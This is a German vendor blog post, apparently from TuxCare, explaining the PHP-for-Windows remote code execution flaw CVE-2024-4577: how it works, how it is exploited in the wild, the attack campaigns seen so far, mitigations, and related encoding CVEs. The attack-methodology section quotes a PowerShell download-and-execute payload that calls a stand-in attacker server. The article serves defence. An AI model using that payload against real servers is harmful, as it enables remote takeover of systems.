Kritische Sicherheitslücke CVE-2024-4577

Die „php2shell“-Patches (CVE-2026-109618 und CVE-2026-109619) für PHP am Ende des Lebenszyklus (EOL) sind nun verfügbar. Da die Antworten des Vertriebs aufgrund der hohen Nachfrage derzeit langsamer als gewöhnlich ausfallen, ist der schnellste Weg zu den gepatchten Paketen der Online-Kauf von ELS für Runtimes (wird in einem neuen Tab geöffnet). Lesen Sie die FAQ zu den Patches

Gehen Sie direkt zu einer KI-Zusammenfassung dieses Blogbeitrags

  • Fasse diesen Beitrag mit Perplexity zusammen
  • Fasse diesen Beitrag mit Gemini zusammen

Einführung

 

Eine kritische Sicherheitslücke in PHP für Windows (CVE-2024-4577) hat sich seit ihrer Veröffentlichung im Juni 2024 zu einem wichtigen Problem für die Cybersicherheit entwickelt. Mit einem CVSS-Score von 9,8 betrifft diese hochgradig gefährliche Sicherheitslücke zur Remotecodeausführung alle PHP-Versionen auf Windows-Systemen. Was diese Schwachstelle besonders besorgniserregend macht, ist nicht nur ihr Schweregrad, sondern auch die weit verbreitete Ausnutzung, die Bedrohungsforschungsunternehmen seit Januar 2025 beobachtet haben.

Der Fix für CVE-2024-4577 für PHP unter Windows ist über den PHP Endless Lifecycle Support Service von TuxCare verfügbar. Windows ist jetzt eine unterstützte Plattform für PHP ELS.

Dieser Artikel befasst sich eingehend mit CVE-2024-4577 und untersucht, wie es funktioniert, wie es ausgenutzt wird und was Unternehmen tun können, um sich zu schützen. Wir haben zwar bereits in einem früheren Artikel über diese spezielle Sicherheitslücke in einem früheren Artikelgeschrieben haben, macht der "Exploitation in the wild"-Faktor sie erneut relevant.

Technische Vertiefung: Verstehen der Schwachstelle

 

CVE-2024-4577 ist eine Sicherheitslücke bei der Remotecodeausführung (RCE), die Windows-basierte PHP-Installationen mit CGI-Konfigurationen betrifft. Die Schwachstelle besteht, weil die PHP-Implementierung unter Windows das "Best-Fit"-Verhalten in Windows-Codepages nicht ordnungsgemäß berücksichtigt hat.

Der "Best-Fit"-Verhaltens-Mechanismus

 

Der Kern dieser Schwachstelle ist eine Windows-spezifische Kodierungskonvertierungsfunktion, die als "Best-Fit" bekannt ist. Diese Funktion steuert, wie Unicode-Zeichen in die am besten passenden ANSI-Zeichen umgewandelt werden, wenn das genaue Zeichen in der Ziel-Codepage nicht dargestellt werden kann.

Wenn Windows diese Konvertierung bei Befehlszeilenargumenten durchführt:

  1. Zeichen, die in der Ziel-Codepage nicht direkt dargestellt werden können, werden durch ähnlich aussehende Zeichen ersetzt
  2. Diese Ersetzungen folgen einer in Windows integrierten Zuordnungstabelle, die die beste Lösung bietet
  3. Das PHP-CGI-Modul interpretiert diese umgewandelten Zeichen dann fälschlicherweise als PHP-Befehlszeilenoptionen

Dieses Verhalten führt zu einer gefährlichen Situation, in der speziell gestaltete Eingaben in Befehlszeilenargumente umgewandelt werden können, die von PHP als Optionen verarbeitet werden.

Was macht diese Schwachstelle so gefährlich?

 

Diese Sicherheitslücke ist besonders heimtückisch, weil sie die Schutzmaßnahmen umgeht, die für eine zehn Jahre alte Sicherheitslücke (CVE-2012-1823) implementiert wurden, bei der es sich um ein ähnliches Problem handelte, bei dem das php-cgi-Modul Abfragezeichenfolgenparameter als Befehlszeilenargumente verarbeitete.

Das Problem verschärft sich in bestimmten Sprachumgebungen:

  • Traditionelles Chinesisch (Code Page 950)
  • Vereinfachtes Chinesisch (Code Page 936)
  • Japanisch (Code Page 932)

Forscher haben jedoch gewarnt, dass die Ausnutzungsszenarien für andere Sprachumgebungen wie Englisch, Koreanisch und Westeuropa nicht vollständig aufgezählt werden können, was diese Schwachstelle zu einer potenziellen Bedrohung für eine breite Palette von PHP-Implementierungen unter Windows macht.

Ausbeutung in freier Wildbahn

 

Seit Januar 2025 haben Sicherheitsfirmen eine massenhafte Ausnutzung von CVE-2024-4577 beobachtet. Laut GreyNoise entdeckte ihr "Global Observation Grid" allein im Januar 2025 1.089 eindeutige IP-Adressen, die versuchten, diese Sicherheitslücke auszunutzen. Außerdem gibt es inzwischen 79 öffentlich zugängliche Exploits, die auf diese Schwachstelle abzielen.

Methodik des Angriffs

Bedrohungsakteure nutzen diese Schwachstelle in der Regel durch die folgenden Schritte aus:

  1. Erster Zugang: Angreifer verwenden ein Python-Skript (wie "PHP-CGI_CVE-2024-4577_RCE.py"), um zu prüfen, ob eine Ziel-URL verwundbar ist, indem sie speziell gestaltete POST-Anfragen senden.
  2. Code-Ausführung: Bei erfolgreicher Ausnutzung führen Angreifer eingebettete PowerShell-Befehle in PHP-Code aus:

<?php system (‘powershell -c “Invoke-Expression (New-Object System.Net.WebClient).DownloadString(\’http[://]attacker-server[:]port/payload[.]ps1\’)”‘);?>

  1. Nutzlast Lieferung: Das PowerShell-Skript lädt eine Nutzlast der zweiten Stufe herunter und führt sie aus, die häufig Cobalt Strike-Shellcode enthält.
  2. Post-Exploitation: Sobald sie in das System eingedrungen sind, können Angreifer:
    • Erhöhen Sie die Privilegien mit Tools wie JuicyPotato, RottenPotato und SweetPotato
    • Persistenz durch Änderungen an der Registrierung, geplante Aufgaben und bösartige Dienste einrichten
    • Ereignisprotokolle zu löschen, um ihre Spuren zu verwischen
    • Netzwerkaufklärung für seitliche Bewegungen durchführen
    • Extrahieren von Anmeldedaten mit Tools wie Mimikatz

Bemerkenswerte Angriffskampagnen

 

Sicherheitsforscher haben mehrere organisierte Angriffskampagnen identifiziert:

  1. Japanische Organisationen im Visier: Cisco Talos dokumentierte Angriffe, die in erster Linie auf japanische Organisationen in verschiedenen Bereichen wie Bildung, Unterhaltung, E-Commerce, Technologie und Telekommunikation abzielten. Die Angreifer nutzten das Cobalt Strike Kit "TaoWu" für Post-Exploitation-Aktivitäten.
  2. Globale Ausbeutungskampagne: GreyNoise berichtet, dass sich die Ausbeutungsaktivitäten über Japan hinaus ausgedehnt haben und in den USA, Großbritannien, Singapur, Indonesien, Taiwan, Hongkong, Indien, Spanien und Malaysia besonders ausgeprägt sind. Über 43 % der angegriffenen IPs stammten aus Deutschland und China.

Warum diese Sicherheitslücke andere Sicherheitslücken ermöglicht

 

CVE-2024-4577 ist besonders besorgniserregend, weil dadurch andere Schwachstellen noch gefährlicher werden können. Dies ist auf mehrere Faktoren zurückzuführen:

  1. Kettenreaktions-Effekt: Nach erfolgreicher Ausnutzung haben Angreifer die Möglichkeit, Code direkt auszuführen, was dazu genutzt werden kann, zuvor unerreichbare Sicherheitslücken auszunutzen, die lokalen Zugriff erfordern.
  2. Privilege Escalation Enabler: Sobald ein Angreifer in ein System eingedrungen ist, kann er Tools zur Privilegienerweiterung einsetzen, die Schwachstellen mit geringem Schweregrad in kritische Schwachstellen verwandeln können.
  3. Persistenz-Mechanismus: Die Schwachstelle ermöglicht es Angreifern, einen Persistenzmechanismus einzurichten, der es ihnen ermöglicht, zukünftige Schwachstellen auszunutzen, die möglicherweise auftauchen.
  4. Umgehung früherer Abhilfemaßnahmen: Diese Schwachstelle umgeht speziell die Abhilfemaßnahmen für CVE-2012-1823 und zeigt, wie Probleme bei der Kodierungsumwandlung die Sicherheitsmaßnahmen untergraben können. Für ein tieferes Verständnis, wie Schwachstellen bewertet und klassifiziert werden, ist es hilfreich, die Unterschiede zwischen CVSS und CVE zu untersuchen.

Abhilfemaßnahmen und Empfehlungen

 

Unternehmen, die PHP auf Windows-Systemen einsetzen, sollten sofort die folgenden Schritte unternehmen:

  1. PHP aktualisieren: Update auf gepatchte Versionen:
    • PHP 8.1.29
    • PHP 8.2.20
    • PHP 8.3.8
  2. Alternative Bereitstellungsmodelle: Erwägen Sie die Verwendung von PHP mit einem anderen Servermodell als CGI, z. B. PHP-FPM.
  3. Web-Anwendungs-Firewall (WAF): Setzen Sie eine WAF ein, die Ausnutzungsversuche von CVE-2024-4577 erkennen und blockieren kann.
  4. System-Überwachung: Implementieren Sie eine zuverlässige Protokollierung und Überwachung, um Aktivitäten nach der Ausbeutung zu erkennen.
  5. Netzwerk-Segmentierung: Begrenzen Sie das Potenzial für seitliche Bewegungen durch eine angemessene Netzwerksegmentierung.
  6. Regelmäßige Sicherheitsaudits: Führen Sie regelmäßig Sicherheitsbewertungen durch, um potenzielle Schwachstellen zu ermitteln und zu beheben.

Historischer Kontext: Ähnliche Schwachstellen bei der Kodierungsumwandlung

 

CVE-2024-4577 ist nicht die erste Sicherheitslücke, die Mechanismen zur Kodierungsumwandlung ausnutzt. Mehrere bemerkenswerte Beispiele zeigen, wie diese Mechanismen Sicherheitsschwachstellen darstellen:

Vorherige PHP-bezogene Kodierungsschwachstellen

  1. CVE-2010-4645: Eine Schwachstelle in der Behandlung von Multibyte-Zeichensätzen in PHP, die es Angreifern ermöglicht, die Eingabefilterung zu umgehen. Obwohl das Best-Fit-Verhalten nicht direkt ausgenutzt wurde, zeigte es, wie Probleme bei der Zeichenkodierung zu Sicherheitsproblemen führen können.
  2. CVE-2015-2348: Diese Sicherheitslücke in PHP ermöglichte es Angreifern, durch Ausnutzung von Unicode-Konvertierungsproblemen beliebige Abfrageparameter einzuschleusen. Ähnlich wie bei CVE-2024-4577 handelte es sich um die Fehlinterpretation von Zeichen nach der Konvertierung.

Breitere Windows-Kodierungsprobleme

  1. CVE-2016-3238: Eine Sicherheitslücke in Windows, die eine Erhöhung der Berechtigungen durch die Zuordnung von Unicode-Zeichen ermöglicht. Angreifer könnten speziell gestaltete Dateien mit Namen verwenden, die bestimmte Unicode-Zeichen enthalten, die bei der Konvertierung von verschiedenen Windows-Komponenten unterschiedlich interpretiert werden.
  2. CVE-2019-1388: Obwohl es sich in erster Linie um eine UI-Spoofing-Schwachstelle handelt, nutzte dieser Exploit die Art und Weise, wie Windows Unicode-Zeichen in Zertifikatsdialogen handhabt, und zeigte, wie die Kodierungskonvertierung Systemkomponenten verwirren kann.
  3. CVE-2020-0687: Eine Sicherheitslücke bei der Ausführung von entferntem Code in Windows, die eine unsachgemäße Behandlung von Unicode-Zeichen beinhaltet, die es Angreifern ermöglicht, Code auszuführen, wenn ein Benutzer ein speziell gestaltetes Dokument betrachtet.

Schwachstellen im Web Application Framework

 

  1. CVE-2020-10735: Eine Denial-of-Service-Schwachstelle in Python, die die Behandlung von Unicode-Zeichen betrifft. Angreifer könnten übermäßigen CPU-Verbrauch verursachen, indem sie ausnutzen, wie Python zwischen verschiedenen Unicode-Darstellungen konvertiert.
  2. CVE-2021-42574: Die "Trojan Source"-Schwachstelle, die mehrere Programmiersprachen betraf. Diese Schwachstelle nutzte Unicode bidirektionale (BiDi) Steuerzeichen aus, um Quellcode zu erstellen, der anders aussah als das, was tatsächlich ausgeführt wurde.

Diese historischen Schwachstellen zeigen, dass Kodierungsumwandlungsmechanismen auf verschiedenen Plattformen und in verschiedenen Sprachen ein ständiges Sicherheitsproblem darstellen. Das Best-Fit-Verhalten, das in CVE-2024-4577 ausgenutzt wird, stellt eine besonders gefährliche Variante dar, da es sich direkt auf die Befehlszeileninterpretation auswirkt und Angreifern möglicherweise die Möglichkeit zur direkten Codeausführung bietet.

Abschließende Überlegungen

 

CVE-2024-4577 stellt eine erhebliche Bedrohung für Unternehmen dar, die PHP auf Windows-Servern einsetzen. Die Ausnutzung der Schwachstelle in freier Wildbahn in Verbindung mit ihrer Fähigkeit, andere Schwachstellen zu aktivieren, macht sie besonders gefährlich.

Sicherheitsteams sollten der Behebung dieser Sicherheitslücke und der Implementierung geeigneter Abhilfemaßnahmen Priorität einräumen. Darüber hinaus dient diese Schwachstelle als wichtige Erinnerung daran, dass Kodierungskonvertierungsmechanismen subtile Sicherheitslücken einführen können, die bestehende Schutzmaßnahmen umgehen, was die Notwendigkeit umfassender Sicherheitstests in verschiedenen Sprachumgebungen und Codeseiten unterstreicht.

Durch das Verständnis der Mechanismen von CVE-2024-4577 und der aktuellen Angriffslandschaft können sich Unternehmen besser gegen diese kritische Bedrohung schützen.

 

Quellen:

https://www.securityweek.com/mass-exploitation-of-critical-php-vulnerability-begins/

https://www.securityweek.com/php-patches-critical-remote-code-execution-vulnerability/

https://blog.talosintelligence.com/new-persistent-attacks-japan/

 

Zusammenfassung
Kritische Sicherheitslücke CVE-2024-4577
Artikel Name
Kritische Sicherheitslücke CVE-2024-4577
Beschreibung
Eine kritische Sicherheitslücke in PHP für Windows (CVE-2024-4577) hat sich seit ihrer Veröffentlichung im Juni 2024 zu einem wichtigen Problem für die Cybersicherheit entwickelt.
Autor
Name des Herausgebers
TuxCare
Logo des Herausgebers

Schließen Sie sich 4.500+ Linux- und Open-Source-Experten an!

2x im Monat. Kein Spam.

Inhaltsübersicht
Holen Sie sich die Open-Source-Sicherheitslösungen, die Sie brauchen

Schließen Sie sich 4.500+ Linux- und Open-Source-Experten an!

2x im Monat. Kein Spam.